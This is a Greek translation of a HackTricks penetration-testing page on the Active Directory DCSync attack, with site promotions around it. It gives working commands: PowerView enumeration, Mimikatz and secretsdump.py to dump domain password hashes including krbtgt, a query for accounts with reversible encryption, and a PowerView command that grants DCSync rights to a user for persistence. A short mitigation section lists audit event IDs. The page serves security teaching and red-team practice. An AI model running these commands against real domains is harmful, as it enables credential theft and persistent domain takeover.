DCSync

Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας που υποστηρίζονται από τα πιο προηγμένα εργαλεία της κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

DCSync

Η άδεια DCSync υποδηλώνει ότι έχετε αυτές τις άδειες πάνω στο ίδιο το domain: DS-Replication-Get-Changes, Replicating Directory Changes All και Replicating Directory Changes In Filtered Set.

Σημαντικές σημειώσεις σχετικά με το DCSync:

  • Η επίθεση DCSync προσομοιώνει τη συμπεριφορά ενός Domain Controller και ζητά από άλλους Domain Controllers να αναπαράγουν πληροφορίες χρησιμοποιώντας το Directory Replication Service Remote Protocol (MS-DRSR). Δεδομένου ότι το MS-DRSR είναι μια έγκυρη και απαραίτητη λειτουργία του Active Directory, δεν μπορεί να απενεργοποιηθεί ή να απενεργοποιηθεί.

  • Από προεπιλογή, μόνο οι ομάδες Domain Admins, Enterprise Admins, Administrators και Domain Controllers έχουν τα απαιτούμενα προνόμια.

  • Εάν οποιοιδήποτε κωδικοί πρόσβασης λογαριασμών αποθηκεύονται με αναστρέψιμη κρυπτογράφηση, μια επιλογή είναι διαθέσιμη στο Mimikatz για να επιστρέψει τον κωδικό πρόσβασης σε καθαρό κείμενο.

Enumeration

Ελέγξτε ποιος έχει αυτές τις άδειες χρησιμοποιώντας powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Εκμετάλλευση Τοπικά

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Εκμετάλλευση Απομακρυσμένα

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc δημιουργεί 3 αρχεία:

  • ένα με τους NTLM hashes

  • ένα με τα Kerberos keys

  • ένα με καθαρό κείμενο κωδικούς από το NTDS για οποιους λογαριασμούς έχουν ρυθμιστεί με reversible encryption ενεργοποιημένο. Μπορείτε να αποκτήσετε χρήστες με reversible encryption με

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistence

Αν είστε domain admin, μπορείτε να δώσετε αυτές τις άδειες σε οποιονδήποτε χρήστη με τη βοήθεια του powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Τότε, μπορείτε να ελέγξετε αν ο χρήστης έχει ανατεθεί σωστά τα 3 δικαιώματα αναζητώντας τα στην έξοδο του (θα πρέπει να μπορείτε να δείτε τα ονόματα των δικαιωμάτων μέσα στο πεδίο "ObjectType"):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

  • Security Event ID 4662 (Η πολιτική ελέγχου για το αντικείμενο πρέπει να είναι ενεργοποιημένη) – Μια λειτουργία εκτελέστηκε σε ένα αντικείμενο

  • Security Event ID 5136 (Η πολιτική ελέγχου για το αντικείμενο πρέπει να είναι ενεργοποιημένη) – Ένα αντικείμενο υπηρεσίας καταλόγου τροποποιήθηκε

  • Security Event ID 4670 (Η πολιτική ελέγχου για το αντικείμενο πρέπει να είναι ενεργοποιημένη) – Οι άδειες σε ένα αντικείμενο άλλαξαν

  • AD ACL Scanner - Δημιουργήστε και συγκρίνετε αναφορές ACL. https://github.com/canix1/ADACLScanner

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Last updated